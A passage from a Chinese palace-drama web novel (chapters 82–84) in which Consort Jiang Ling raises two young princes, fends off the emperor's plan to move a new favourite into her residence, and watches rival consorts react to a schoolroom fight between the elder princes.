两人互相谦让着,一团和气。江舲略微坐了一会,便回了繁英阁。 “娘娘回来了。”文涓看到江舲撑着腰走进屋,忙迎上前关心地道:“娘娘身子不舒服?” “我没事。”江舲苦笑着摇头,去香雪阁走一遭,比起她带淘气的三皇子还要累。 回到次间,江舲在榻上躺下,望着头顶的藻井,思索着赵嫔的反应。 赵嫔高高兴兴准备周岁礼,元明帝兜头一盆冰水浇下去,她却半点反应皆不见。 江舲心里没底,赵嫔越云淡风轻,越令人忌惮。 何况,柳贤妃赵德妃从头到尾都不见动静。 这两人的沉默,尤其是柳贤妃,格外让江舲不安。 第82章 老贤郡王将四皇子记入宗谱, 正式记在江舲的名下。赵嫔将抓周所需一应物什准备齐全,差黄嬷嬷送了来。江舲并未接手,强硬地推给了元明帝。他无奈之下, 下旨黄梁督促尙宫局操办。 周岁礼摆在繁英阁前殿,林贵妃赵德妃柳贤妃等嫔妃到来, 添了常见的金银项圈镯子。庄顺嫔将将移灵皇寺地藏殿,不宜庆贺, 待四皇子抓完周, 大家略微坐了阵后便陆续离开。 令江舲意外的是,柳贤妃赵德妃始终不见任何动作。转瞬间两年过去, 三皇子四皇子平安长大,后宫风平浪静。 “阿娘!阿娘!” 江舲尚在午歇, 被萧允瓒一阵大喊吵醒。随着他的声音越来越近, “咚咚”的脚步声愈发明显。 无须辨认,江舲便知萧允琅也跟在他身后。两人从早到晚玩在一处,向来焦不离孟。 “阿娘, 外面在下雨, 我可否不写大字了?”萧允瓒跳上脚踏, 扑在床沿上问道、 萧允琅小半岁, 比萧允瓒要矮小半个头, 他落后一步踩在踏板上, 跟着扑上来道:“不想写大字。” 大胤的孩童大多在五周岁左右启蒙,萧允瓒才刚满四周岁不久, 要来年春上进学堂读书。他跟在江舲身边学了认字, 算术,初学写大字。江舲想着他手腕力气不够,对他并无任何要求。 至于萧允琅年纪更小, 只跟着萧允瓒一起玩而已。 江舲无语望天,撑着坐起身,问道:“外面下雨,与你写大字有何干系?” “下雨天我想玩耍,不想写字。”萧允瓒笑嘻嘻说着,将贪玩说得理直气壮。 江舲瞪了他一眼,拿起外衫往身上套,问道:“下雨天又不能出门,为何想在下雨天玩耍?” “天晴我也想玩耍,可是阿娘不允。”萧允瓒眨着乌溜溜的双眸,白里透红的面庞满是无辜。 江舲被气笑了,伸手去拧他的脸。萧允瓒灵活躲开,头埋在床上滚来滚去,撒娇道:“阿娘,我不想写字,阿娘,让我玩一阵,只玩一阵。” 萧允琅跟鹦鹉学舌般,跟着撒娇。江舲被吵得头疼,反正他们写大字也是玩,便依了他们,道:“下雨冷,不许跑出去踩水。若是不听话,仔细我收拾你们!” “啊!”萧允瓒失望地叫了声,抱着萧允琅一同栽倒在床上,狡辩着抗议道:“阿娘说过的话不算了,以前都可以出去踩水玩。” 江舲呵呵冷笑,道:“已经入了冬,大冬天弄得一身湿,我看你是皮痒了。” “是。”萧允瓒耷拉着脑袋,拉着同样耷拉着脑袋的萧允琅施礼后告退。 两人正是狗都嫌的年纪,常淘气惹祸。江舲起初耐心讲道理,他们哪听得进去。她言出必行,狠心收拾过几次之后,萧允瓒学了乖。他一乖,萧允琅跟着乖巧起来。 江舲见两人要跑,赶紧提醒道:“今朝是圣寿之日,要去揽月殿领筵,莫要玩得忘了时辰。常安他们提醒时,不得装耳背听不见。” “知道了。”两人一前一后答了,声音与脚步声一道远去。 江舲穿戴好,文涓送了茶水进屋,笑道:“娘娘放心,奴婢去瞧过了,三皇子四皇子在书房玩打仗。常安吴桂他们在旁边寸步不离守着。” 常安吴桂几人是江舲从新进宫的小黄门中选出来,贴身伺候的内侍。几人虽老实忠厚,只萧允瓒着实太皮实,花样多。江舲都要疲于应付,他们根本看不住,文涓她们便不时前去盯着。 下雨的冬日,屋中在半下午时就变得昏暗。阿箬掌灯,文涓理着晚间要穿戴的衣衫头面。 江舲与以前一样,按照品级与规矩装扮。文涓梳好发髻,插上金镶翠玉珠冠,望着铜镜中的江舲,笑着夸赞道:“娘娘真是好看,与奴婢处到娘娘身边伺候时一样,一点都不见变老。” 后宫新人不断,尤其是近两年来,年年选秀。寝宫挨挨挤挤,连被视为不详的撷芳阁都住满了人。 不过除去岁新进宫的徐婕妤生了个公主,其余人等皆不见动静。迄今为止,元明帝的后宫规模空前庞大,子嗣在历代皇帝中,不多亦不算少,四子三女。 所有的妃嫔都不曾怀孕,江舲基本能断定是元明帝的原因。他的速度快若电闪雷鸣,身形与后宫一样,日渐膨胀。以前是羸弱,如今是虚浮,像是杀年猪时,方便去毛吹鼓囊的猪。 最近元明帝的新宠是生得若空谷幽兰,天真烂漫的吴婕妤。她今年方进宫,初次承宠后,便被封为才人,八月升为婕妤。 原本吴婕妤依附夏婕妤住在庆元阁,晋升之后,再挤在庆元阁便委屈了她。放眼整个后宫,惟繁英阁只得江舲一人独居,让吴婕妤搬到宽敞的繁英阁来,也是应有之理。 文涓的话,当是在安慰江舲。她笑了下,道:“文涓啊,当你夸一人年轻时,她应当是真老了。” “娘娘,奴婢岂敢撒谎,娘娘真是半点都没变,不只是奴婢,其他人也在说呢。”文涓慌忙解释。 江舲哈哈笑起来,她身体年龄本来只有二十五岁,正当青春年华。后宫格外催人老,能保持天真烂漫者,除非是傻子。她的心境,早已七老八十。 以前她看过一份关于古代女性的寿命分析,上面的资料很有意思。古代女性的夭折死亡率,在生养前,高于男性。一旦活过生育年纪,亦就是不再生孩子之后,平均寿命则高于男性。 照着这个分析来看,江舲现在基本已排除了生养的生死难关。先皇与先太后都只活了五十岁出头的年纪,而薛老夫人与江文修身子都挺硬朗。在基因的加持下,她有十成十的把握,活得比元明帝长。 活得长不一定活得好,太妃在后宫的日子,每天都漫长得像冬至的长夜。 江舲不想做太妃,她要做太后。 做太后不容易,无须为一间宫殿与人置气。 待她登上巅峰时,她要搬出宫去,行宫皇庄皇苑换着住,自由自在,为所欲为! 江舲装扮好,萧允瓒与萧允琅一起来到次间,她拉着两人查看了一番,叮嘱道:“阿瓒记得了,在揽月殿不许淘气。” 萧允瓒拉长着声音道:“是,阿娘,儿晓得了。” “你小子!”江舲瞪他一眼,摸了摸萧允琅身上的衣衫,见他手心温热,顿时放了心。她拍着萧允瓒的脑袋,“外面还在下雨,你们都随我坐软轿。” 萧允瓒想走去揽月殿,趁机踩水玩的想法落空,不情不愿随江舲坐上软轿。 揽月殿灯火璀璨,庄严中透着喜庆。江舲到时,后宫的嫔妃已经来得七七八八。她的座次在丹墀下左下首,林贵妃则是右下首。 赵德妃已经到来,柳贤妃与林贵妃尚未到。赵德妃带着萧允珏与江舲见礼,她颔首回礼,接着萧允瓒萧允琅向赵德妃,萧允珏见礼。 萧允珏自小就生得胖,十余岁的少年,圆胖得脸眼睛都快看不见。向江舲见礼时,抬手作揖的动作,因着身形不便,看似很是敷衍。等萧允瓒萧允珏向他见礼时,他漫不经心,随意点了点头,不耐烦地坐了回去。 这边江舲他们刚坐下,林贵妃领着萧允瑞,柳贤妃领着萧珈桐来了。萧允瑞与萧允珏正好相反,身形消瘦如竹竿。殿中摆满了薰笼,热意扑面,他始终裹着身上的皮裘,面色苍白盯着面前的矮案。有大动静时,他便掀起眼皮看一眼,神情漠然。 元明帝白日接受了朝臣的朝贺,酒意未消,醉眼朦胧携着吴婕妤珊珊到来。大家齐齐起身肃立,请安,举盏共祝圣寿。 酒过三巡,殿上热闹起来,吴婕妤率先起身向元明帝贺寿,他高兴地将杯中酒一饮而尽。 过了片刻,萧允瑞奉上贺礼,元明帝展开他抄写的《孝经》,看了半晌,道:“阿瑞的字,这些年没甚长进,端正有余,灵气不足。” 林贵妃端坐着,面上神色不显。萧允瑞低垂着头,脸色愈发苍白了。 元明帝放下《孝经》,皱眉道:“先生夸你书读得好,已读到了《春秋》。朕来考考你,《春秋》书宋襄公与楚战于泓,接下来为何?” 萧允瑞被元明帝批评大字,脑子已一片混乱。他恍惚记得,又一时想不起来,支支吾吾着,半晌都没回答出来。 元明帝懊恼不已,萧允瑞居长,再过两年就要相看亲事。他少时聪明伶俐,长大后,不过尔尔! “阿珏,你来回答!”元明帝板着脸,点了正在看戏的萧允珏。 萧允珏一下慌了,他赶紧起身,汗津津道:“阿爹,我还未学到《春秋》。” 元明帝哼了声,不悦道:“你贪玩贪嘴,读书有这般用心,早就学完了《春秋》!” 萧允珏低头不做声,不时偷偷剜萧允瑞一眼,愤恨中含着嘲讽,心里不停暗骂。 都怪他,连累自己也跟着被训斥! 真真是不要脸,吹嘘自己聪明,已经读到了《春秋》。谁曾想是吹牛,在人前露了馅! 元明帝目光扫过众人,停住萧珈桐身上,道:“阿桐,你来回答。” 萧珈桐起身屈膝,落落大方,清楚地答道:“因其仁而败。” 元明帝神色稍霁,旋即又遗憾不已。萧珈桐聪慧,字写得好,书亦读得好。可惜,只恨她不是男儿身! 萧允瓒萧允琅还未启蒙上学堂,元明帝掠过他们不提,沉下脸,不留情面斥责道:“不积跬步无以至千里,读书做人皆切忌浮躁。连未曾正式去学堂读书的阿棠都不如,学得一知半解,也敢妄读《春秋》!从明朝开始,你从头学起!” 萧允瑞身子晃动了下,施礼后走下丹墀,回到林贵妃身侧,一声不吭坐了下来。 江舲坐在林贵妃萧允瑞对面,清楚看到他的脸,从苍白到涨得通红,再血色尽退。 林贵妃从头到尾沉默不语,沉静消瘦的脸,似乎牵动着抽搐跳动了几下。 然而,最让江舲反感之事,乃是元明帝的所作所为。读书必要严厉,元明帝是皇上,又是父亲,考教萧允瑞的功课并无不妥之处, 他却是在众目睽睽下教训萧允瑞,让少年的自尊当然无存,又让林贵妃跟着没脸。 即便萧允瑞再聪明,长此以往,他迟早会变得不自信,害怕读书。 江舲心中打定主意,待萧允瓒他们上学时,决不能让元明帝插手! 筵席直到散场,江舲都未见到萧允瑞的头再抬起来过。林贵妃吃了许多杯酒,脸色微微泛青,神智却是很清醒。 赵德妃笑盈盈与柳贤妃聊着闲话,萧允珏吃着点心,不时朝萧允瑞挤眉弄眼地笑。 过了两天,萧允瑞与萧允珏,在学堂闹出了一风波。 第83章 江舲起初并不知情学堂发生之事, 天气寒冷,她在次间看文涓打络子。 萧允瓒喜好八卦,他不知从何处听到, 兴冲冲地跑来与江舲道:“阿娘阿娘,大哥二哥在学堂打起来了, 头都打出了血 “你个小八哥!”江舲虽同样好奇,她却没有追问, 伸手拧着萧允瓒的脸, 严肃地道:“不许碎嘴子乱传话!” 君子端方,端瞧萧允瓒的皮赖样, 江舲估摸着他成不了君子。她依然坚持约束他的言行,努力让他变得沉稳内敛些。 “阿娘, 我没乱传话。”萧允瓒摸着自己的脸叫屈, 朝跟在他身后的萧允琅挤眼,“阿娘要是不信,你问阿琅, 我可有胡乱编排!” 萧允琅马上道:“阿娘, 三哥说得对!” 江舲快被他们两人气笑了, 呵呵一声, 暂时放开萧允瓒。屋内热, 将他与萧允琅的厚衫都脱掉, 两人一并在榻前站好。 “阿瓒你说二皇子三皇子打了起来,头打出了血, 究竟是谁的头出了血?事情缘由, 你是从何处得知,可曾亲眼瞧见?” 萧允琅站在那里一脸茫然,萧允瓒转动着眼珠子, 答道:“大哥二哥都流了血,大哥瘦,力气小,头被二哥打破了这么大一个洞!” 他用手夸张地比划,被江舲按住了:“你比一比自己的头,看你的头有多大。” 萧允瓒愣了下,手举到头边比了比,再拿到胸前。他似乎察觉到错误,但他脸皮厚,并不以为意,重新用手指比了比,妄图糊弄过去。 “停!”江舲按住了萧允瓒的手,道:“你先将头破洞大小之事说清楚。 萧允瓒支吾了声,见糊弄不过去,只得老实道:““阿娘,我不知究竟破了多大的洞。” “既然不知,就莫要乱说。你的举止,便是三人成虎。” 他们两人皆不明白三人成虎为何意,江舲简明讲了词语来源的故事,“谎言被反复提及,经过人说出来时变了样,最终使人信以为真。亲眼目睹不一定为真,何况是耳闻。你要讲一件听闻之事,至少要打听清楚。先判断可合乎常理,要使人相信,也要合乎常理。你先前所言大皇子瘦弱,被二皇子打破头这件事,里面有合乎常理之处,也有不合乎常理之处。” 萧允瓒拧着小眉头,苦苦思索起来,他毕竟太小,一时想不明白,嘟着小嘴,懊恼地耷拉着脑袋。 江舲不为难他,循循善诱道:“合乎常理之处,则是二皇子比大皇子壮实,大皇子打不过他,被打破了头。不合乎常理之处,在学堂上有老师,在学堂上打架,老师会拦着,受到惩处。其次大皇子居长,二皇子动手打大皇子,以下犯上,还不友爱兄弟。二皇子可会这般做?” 萧允瓒抬起了脑袋,顿时来了劲,噘嘴道:“二哥霸道凶得很,他才不管这些,老师不敢拦着。” 萧允珏确实目中无人,霸道蛮横。萧允瓒与萧允琅年纪小,与他见礼时,时常连看都不看他们一眼。不过二皇子并不蠢,在众人面前会顾忌一二。 江舲联想起在元明帝生辰时,萧允瑞被元明帝当场斥责之事,估摸着他们两人打架与之有关。 天家无亲情,皇家兄弟姐妹大多都是异母同父,即便是亲兄弟之间也你死我活,真正和睦者如凤毛麟角。 后世有个说法,兄弟姐妹之间不和,与父母有很大关系。 萧允瑞不过十三岁,正是叛逆敏感的少年郎。元明帝的训斥,不比普通人家的父亲,会引来众多的猜测,与皇储大位联系在一起。 重华宫内松外紧,江舲不清楚平时林贵妃何教养萧允瑞,事后会如何对他。 不过,江舲现在没空关心这些,她同样面临教导萧允瓒的难题。萧允瓒是皇子,江舲绝不会像是普通人那样,对他的要求只无忧无虑,平安的长大。 一个有血有肉,心怀大慈的人,与一个掌天下大权者,两者之间有冲突。 元明帝提问的《春秋.左转》,称宋襄公“败于仁”。掌权者的“仁”,不合时宜。 在《史记》中,对这场战役则有不同的评价:“襄公既败于泓,而仍有恤民之心,犹有先王之遗风焉。” 难之处,在如何拿捏其中的度。 江舲头开始隐隐作疼,她先不管这些,继续道:“好,算老师拦不住,二皇子会冲动动手打大皇子。二皇子打大皇子,肯定事出有因。缘由如何,你可有听到?” 萧允瓒只管着听热闹,哪想得那般多,摇了摇头,“阿娘,你可以自己去打听呀!” “我自会去打听。”江舲瞪他一眼,道:“既是你跑到我面前来说,我当然要问你。你以后听到有人告诉你一件事,你有疑惑之处,无法当面多问,也要动脑想一想,事情的真假。” 萧允瓒道:“我知道了。” “你这点小心思,休想瞒住我。”江舲一看他的反应,便知道他心中所想,点着他的额头,道:“你可是在想,以后有事也不告诉我了?” “阿娘。”萧允瓒被江舲戳破小心思,扑进她怀里撒起娇来:“阿娘的问题真多,我都回答不上来。” 江舲揉着他白里透红的脸颊,笑眯眯地道:“有个问题你能答上来。是谁告诉你大皇子二皇子打了起来?” 萧允瓒机灵地想要跑,被江舲拽住了,他拉长声音哀嚎:“阿娘,我就是去玩时听到了。” “我数到三,一……”江舲面带微笑,照着老规矩举起手,开始数数。 江舲给萧允瓒萧允琅两人立了规矩,即便是犯了错,如实告知的惩处,比故意隐瞒的轻。 萧允瓒见状,只能哭唧唧老实交代:“我想去学堂玩耍,见到学堂那边被护卫围住,阿爹也在,就与阿琅在夹道口偷看。内侍去请太医时在悄声议论,被我听到了。” “这个时辰,你该在写大字。”江舲看向滴漏,似笑非笑道:“早起时我就与你们说过,外面刮着寒风,别出去玩。你一下犯了两件错,该如何罚,你自己去算,我先给你记着。等你写完大字之后,再来领罚。” 萧允瓒彻底蔫了,应了声是。江舲再看向萧允琅,道:“阿琅也是,你不听话,一样要被惩罚。” 萧允琅很有义气地挺起小胸脯,道:“阿娘,我与三哥一起受罚。” 江舲忍俊不禁,打量着他瘦弱的身形,道:“你要多吃些饭菜,不可挑食。” 萧允琅不像萧允瓒鬼主意多,人还小,道理似懂非懂,等他再大一些,再好生教他。 给两人穿好外衫,待他们回书房之后,江舲叫来文涓,道:“大皇子二皇子打了起来,你去打听一下,究竟是怎地回事。” 文涓震惊地道:“奴婢这就去。”她刚走到屋外,元明帝大步走了进来。文涓赶紧转身回屋,道:“娘娘,皇上来了。” 江舲眉头一皱,心道元明帝不去管他两个打架的儿子,这时来繁英阁作甚? “你先别去打听了。”江舲对文涓说道,起身朝外走去。 文涓应是,赶忙去备茶水。江舲来到明间,元明帝已穿过庭院走上了台阶,他脚步匆匆,面色明显不虞。 江舲屈膝见礼,元明帝唔了声,四下张望,道:“阿瓒阿琅呢?” “在书房写大字。”江舲答道。 “写大字?”元明帝说了声,朝次间走去,“让他们拿着大字来,朕瞧瞧可有进步。” 江舲想起元明帝训斥萧允瑞之事,压根不愿他教导萧允瓒萧允琅。觑着他黑臭的脸色,她忍了忍,让阿箬去传话。 文涓送了茶水上来,元明帝端起吃了口,“砰”地一声将茶盏放下,不高兴地道:“天气这般冷,怎地是温茶!” “去煮滚茶来。”江舲擦拭着衣袖上溅到的茶水,面无表情地吩咐文涓,心道最好能烫死他。 文涓收拾着茶水退出屋,元明帝察觉到江舲生气,本因萧允瑞萧允珏之事心中烦闷,来繁英阁散闷气。谁知碰一鼻子灰,于是愈发气恼,道:“朕不过嫌弃了句茶,你就不满意了?滚茶怎能入得了口?” “除去凉茶温茶便是滚茶,皇上要吃何种茶?”江舲淡淡问道。 元明帝被噎住,这时萧允瓒萧允琅两人进了屋,他呼出口气,招呼着他们到:“过来,朕瞧瞧你们写的大字。” 两人捧着大字上前,萧允瓒贪玩,字写得比拳头还要大,比划歪歪扭扭。萧允琅年纪小,纸上一团团墨迹,勉强能辨认出是大字。 元明帝顿时来了气,将大字往案桌上一拍,厉声道:“这也算大字,老子用脚都比你们写得工整!” 萧允瓒睁大眼,惊奇地道:“阿爹能用脚写字?阿爹真是厉害,快写给我瞧瞧!” 江舲起初本想拦着元明帝,见状差点笑破肚皮。她强忍着笑,端坐在一旁看热闹。 元明帝再被噎住,待缓过气,指着矮案上的纸张,怒道:“平时朕如何教你们的?瞧你们的字,半点都不见长进,反倒退步了!” 萧允琅害怕地躲在萧允瓒背后,萧允瓒却很有主意,振振有词道:“阿爹,我明年才上学堂,待上学之后再学。” 元明帝一时反驳不了,暗骂了句混小子,沉声道:“朕的话,你都敢不听了?” “听。”萧允瓒随口应了声,他眼珠转动了下,道:“阿爹,大哥二哥究竟为何打架,谁打赢了?” “你小小年纪,管这般多。”元明帝暗中斜了眼江舲,心道都怪她,好生生的儿子,被她溺爱太过,成日竟知道玩耍。 萧允瓒嘟了嘟嘴,不做声了。元明帝见他小脸垮下去,耐着性子教导他:“君子动口不动手,打架是莽夫之举。你身为兄弟,该关心兄长可有受伤,兄友弟恭才是。” 元明帝对儿子们皆疾言厉色,萧允瓒最是不喜,敷衍地回道:“阿爹,我知道了。” 见他认错,元明帝脸色缓和下来,道:“下去各写十篇大字,要好生用心写,朕到时候要检查。” 萧允瓒拉着萧允琅施礼告退,两人凑在一起,嘀嘀咕咕小声说着话。 元明帝看着他们亲亲密密。友爱的背影,龙心甚慰。 幸亏将萧允琅放在繁英阁抚育,不比萧允瑞萧允珏各自跟在生母身边,兄弟俩一起长大,真正情同手足。 元明帝叹了口气,烦躁地道:“唉,阿瑞阿珏两人,为了鸡毛蒜皮之事拌嘴,竟在学堂打了起来,阿瑞的头撞着桌沿流了血,阿珏跌了一跤,手心蹭破了皮。朕真是操不完的心。” 原来在学堂上,萧允瑞背错了一句书,萧允珏偷笑被他瞧见,当即怒不可遏冲上去扬拳就打。 萧允珏哪受过这等气,马上挥拳还击。老师还未回过神,两人转瞬间打成一团。 萧允瑞瘦弱,被萧允珏打得站立不稳,额头撞在桌角流了血。所幸血流满面,只伤及皮毛,萧允瑞年轻,养一段时日便能愈合。 两人就算是为鸡毛蒜皮的事打架,绝非元明帝所言这般无甚要紧。 江舲不知他不愿面对,亦或是真如此以为,总觉得他天真得面目可憎。 此事背后可有人推波助澜,林贵妃与赵德妃会怎样厮杀,眼下江舲皆不清楚,谨慎地道:“正是血气方刚的年纪,一言不合打起来,倒也不奇怪。” 朝堂上请求元明帝立储的折子多了起来,几个儿子,年长的莽撞冲动,年幼的尚未进学。且他正当壮年,储君关乎着大胤江山,他得万分谨慎挑选。 前朝后宫都不让人省心,元明帝满肚皮的怨气,他看向江舲,“等过年后,阿瓒阿琅都进学堂去读书,两人在一起能做个伴,早些立好规矩。待他们上学堂后,就搬到前面皇子的寝宫去住。” 江舲顿了下,大胤民风算开明,并无七岁不同席的规矩。即便如此,萧允瓒萧允琅都不到七岁,搬出去为时过早了些。 元明帝让他们搬出去,只怕另有所图。 江舲脑中闪过吴婕妤,心道来了。 果然,元明帝迟疑了下,道:“你这里宽敞,等他们两人搬出去后,就显得冷清了。不如让吴婕妤搬进来,能陪着你说话解闷。” 第84章 以前段才人借着身孕想要繁英阁, 元明帝当时虽出了昏招让其与赵嫔互换,实则起过让江舲让出的心思。 时移世易,江舲已成后宫老人, 元明帝做了多年太平天子,愈发喜欢新鲜水灵的小娘子。最重要之处, 小娘子天真烂漫,他被厚重油脂包裹的心与眼, 才会有人崇拜欣赏。 江舲早有所预料与准备, 干脆至极地答应了,道:“皇上后宫的人多, 实在住不下。不若这样,我搬到皇苑去住, 吴婕妤也能住进主殿。” 元明帝见江舲虽大方, 却要搬到皇苑去,他皱起眉,不悦道:“皇苑的宅子只是朕游园歇脚之处, 你搬去的话, 成何体统。” “狗混账, 只管造成麻烦, 却不管解决。”江舲心里骂着, 面上却平静, 问道:“后宫的寝宫拥挤,皇上打算如何处理?” 元明帝答不上来, 板起脸道:“朕自会安排, 你无需多管。” “不该我管的差使,我从不多管。”江舲笑起来,心平气和地道:“吴婕妤要搬进来, 皇上打算让她住在前殿,还是后殿?” 前殿后寝,一般前殿是待客宴请的正厅,后面寝宫虽宽敞,萧允瓒萧允琅随着江舲一起住,书房卧房加上起居之处,只余下东西抱厦的稍间。 其余寝宫偏屋同样住着低品级的嫔妃,繁英阁抱厦的稍间同样宽敞。吴婕妤毕竟不同,身为元明帝的心尖宠,尙不如住在原来的庆元阁,至少能占主屋的东侧,与夏婕妤平起平坐。 元明帝何曾想到这些,被江舲问得头疼起来,一时没了声响。 “倒是有个法子。”江舲淡淡道。 元明帝顿时精神一震,道:“你且仔细道来。” 江舲微笑道:“阿瓒与阿琅立即搬进寝宫,给吴婕妤腾出地方。” 萧允瓒萧允琅皆是垂髫小儿,元明帝再宠爱吴婕妤,万万说不出让他们马上两人搬走的话。 “阿琅年后上学堂,那时他将将四周岁。阿琅坐不坐得住还难说,手腕的力气不足,读书写大字是为难,折磨他了。学堂的老师都是朝廷重臣,天下大儒,让他们看顾稚童,着实是大材小用了。” 江舲声音不高不低,语气平淡,听不出任何的情绪,元明帝老脸却变得滚烫。 “我搬到皇苑去,阿瓒阿琅跟着我一道前往,繁英阁便能空出来。阿瓒阿琅跟在我身边,待过一两年再上学堂,那时他们长大懂事了些,才能专心读书。” 皇子的老师皆由朝廷重臣,翰林学士院的翰林,大学士等轮流担任。萧允瓒淘气,喜刨根问底,机敏,稚言稚语常令人哭笑不得。萧允琅才断奶不久,用膳都撒落一地,何况是在学堂上读书。 元明帝虽是天子,却要顾忌一二,尤其是落得个轻侮读书人士人的名声。 民可轻,得士大夫心者,方得天下。 “罢了,此事休要再提!” 元明帝被说得哑口无言,涨红了脸道:“阿瓒阿琅确实年幼了些,先别去学堂,你好生看顾教导。” 江舲道:“我让文涓去安排收拾行囊,争取尽管搬走。” “搬到何处去?”元明帝恼羞成怒起来,斜着江舲,沉声道:“你还惦记着搬到皇苑去,真是荒唐,朕的嫔妃,哪有不住后宫的道理!” “我都是为了皇上啊!” 江舲跟着叫屈,她绝非以退为进,真心实意想要搬去皇苑,离林贵妃赵德妃的冲突远些,图个清净。 “我不搬走,难道要委屈吴婕妤住在稍间?吴婕妤贵为婕妤,岂不是辱没了她,皇上看了也会心疼。” 元明帝懊恼地道:“朕安排她住在别处去,你少操心。” 江舲格外懂事大度,“皇上,还是我搬吧,皇上别去为难其他姐妹了。” “你休要胡说,朕何曾为难过人。”元明帝气得双目圆睁,怒瞪过来,“朕的旨意,谁敢抗旨不尊!” 江舲差点笑出声,元明帝除去天子身份,只余一身的油脂了。 见元明帝如猪肝一样的脸色,江舲忍着笑,一本正经胡乱建议:“皇上,让吴婕妤搬到琼华阁去住,日夜伺候皇上。皇上操心朝政辛苦,有吴婕妤陪伴开解,皇上也能松乏一二。” “成何体统!”元明帝怒极反笑,指着江舲道:“你少说风凉话,仔细朕收拾你。要真让人搬到琼华阁去,也是你搬来” 江舲顿时大惊,见元明帝似乎在认真思索,赶忙岔开话道:“皇上,大皇子二皇子如何了?” 听到萧允瑞萧允珏,元明帝心情霎时变得低落,没心思再想其他,长长叹了口气。 “阿瑞沉默寡言,有话也藏在心里。阿珏倒开朗,只吃不得半点亏,急了谁都不认。两人都是好孩子,究竟是血脉兄弟,打断骨头连着筋,待他们醒过神,消了气,彼此就好了。” 江舲但笑不语,元明帝的兄弟们骨头打断,筋确实连着,只没了命。 福宁宫。 萧允珏得意地抚掌大笑道:“阿娘,我就这般一拳!” 他握拳朝前一挥,赵德妃唬了跳,身子往后仰,惊笑道:“哎哟,小祖宗,你快别动,阿娘可经不起你一拳。” “阿娘是柔弱妇人,哪能经得起我一拳。”萧允珏满脸地骄傲,不可一世地道:“那瘦猴只敢弄死猫儿狗儿撒气,面对我时,哪是我的对手。” 赵德妃惊讶地道:“大皇子弄死猫儿狗儿?” “他那天来上学堂,书箱里放了只狗尾巴,准备悄悄放在我书桌里吓我,被赵舜撞见,他才作罢。” 皇子们上学堂有伴读,赵舜是赵德妃娘家的侄儿,比萧允珏大两岁,长得壮实高大。 萧允瑞也有伴读,林氏从蜀州送来了几个同龄族人,进宫伴着他读书。不过萧允瑞性情孤僻,对他们爱答不理。 “赵舜偷偷告诉了我,说是他听到传闻,瘦猴常让福顺他们宫中抓野猫回去杀着玩。野猫不好抓,就让人从宫外送狗进来。” 萧允珏不满起来,不以为意地一挥手臂,“阿娘,几只猫猫狗狗而已,你作甚这般关心。瘦猴背不出书,那脸白得像死人一样,浑身就这般抖,抖!” 他学萧允瑞抖动着,身上脸上的肉跟着颤抖,边抖边笑:“哈哈哈哈,阿娘,你没瞧见,真真是让人笑破肚皮。瘦猴自诩聪明,这下现了原形,哈哈哈,就凭着他,敢是我的对手!” 赵德妃含笑望着萧允珏,慈爱地拉着萧允瑞坐在身边,替他擦拭着额角的细汗,柔声道:“阿珏,以后别与他动手。无论如何,他为长,你要尊着兄长。” “呸!”萧允珏啐了口,不服气地道:“他为长又如何,就占了个年岁大罢了!论文论武,他哪样能与我比!” 萧允珏不耐烦起来,跳起来斜撇着赵德妃,“阿娘,你总是杞人忧天,林氏一族百年世家又如何,一拳就打得他服服帖帖!在学堂上,林氏那几个脓包,连吭都不敢吭声,天下可是姓萧!阿娘,我走了!” “你去何处?用过午膳再回寝宫!”赵德妃忙道。 萧允珏嫌弃赵德妃管束太严,啰嗦,哪耐烦与她用膳,头也不回跑了。 赵德妃只能作罢,急忙吩咐道:“快跟着阿珏,哎哟,外衫,快将送外衫去,别冻着了!” 宫女内侍们被指挥得团团转,拿着紫貂大氅追上萧允珏,簇拥着他离开。 赵德妃站在廊檐下,望着萧允珏走出大门,直到衣袍消失在视线中。她神色淡下去,冷冷道:“谢嬷嬷,你多去瞧着阿珏,身边伺候的人都敲打一番,要看紧阿珏,不得松懈半分!” 谢嬷嬷连忙应下,劝道:“娘娘放心,二皇子机灵着呢。” “阿珏是机灵,终究是年幼。林氏一族百年大家,选了族中优异的少年郎进宫做伴读,他们可不是脓包。阿珏是皇子,他们是无功名在身的白丁,敢帮着大皇子与阿珏动手,那才是真正的以下犯上,林氏一族,自此到了头。” 赵德妃眉头蹙起,轻叹道:“我不愿打击阿珏,他这一场架看似赢了,实则落了下乘。要是萧允瑞打他,他忍着承受几拳,萧允瑞瘦弱,落在阿珏的身上,顶多是隔靴搔痒。阿珏这一回击,萧允瑞流了血,明明是他先动手挑事,阿珏却成了目无尊长,凶狠残暴之人。” 大皇子寝宫。 屋中燃着薰笼,钟嬷嬷往香炉中添了把沉香,香气徐徐散开。屋中的血腥与药味,逐渐被压了下去。 萧允瑞靠在榻上的软垫上,头上缠着布巾,唇与脸色一样白,不见半点血色。 “可还疼?”林贵妃侧身坐在榻边,温声问道。 “阿娘,我不疼了。”萧允瑞垂下眼眸,低声道:“阿娘,我没用,让阿娘丢了脸。” “无妨。”林贵妃说了句,略微沉吟之后,道:“你身子弱,动手之前应当用脑子想一想,你不是他的对手。无论是打架,打仗,皆该如此。打输了没事,要从中吸取教训。阿瑞,你以为,错在何处?” 萧允瑞道:“平时阿娘总是教我,要我稳住心神,不可乱了阵脚,我气急昏了头,没有稳住。老二痴肥壮硕,我的力气身形都不如他,不该莽撞动手。” 林贵妃轻轻摇着头,眼中失望一闪而过,道:“你是兄长,不该与弟弟计较。既然你计较了,该赶紧圆回去,比如借口教训二皇子,你打他也是应该。他要是还手,便全成了他的不是。只即便如此,你还是没输,二皇子那身形与你打架,就是他在欺负你。你要是伤得再重一些,或晕倒不起,二皇子就成了弑兄,残暴不仁之人。” “阿娘,我以为,即便如此,阿爹也不会真罚他。”萧允瑞怔怔望着林贵妃道。 “储君是一国半君,君可昏聩,不可残暴,朝臣百官会惧怕忌惮。立储,并非皇上一人说了算,必须得朝臣的支持。” 林贵妃解释了,萧允瑞愣在那里,突然抬手狠狠打在自己的脸上。他下手狠,惨白的脸上迅速浮起五道红印。 “阿娘,我无用,我是无用的废物!” 萧允瑞声音从齿缝中挤出,抬手又是一巴掌,脸扭曲起来,狰狞,眼神阴森,“阿娘,我是废物,让阿娘失望了。” 掌声清脆,在安静的屋中回荡。钟嬷嬷与绣云立在屋角,大气都不敢出。 林贵妃眸色沉沉望着萧允瑞,直到他的嘴角有血丝溢出,她才出声道:“伤害自己的人,最最没出息。阿瑞,你的确让我有些失望。” 萧允瑞停了才来,手无力垂落,指尖沾着的血迹,在眼前浮现,让他想起元明帝生辰的那晚。 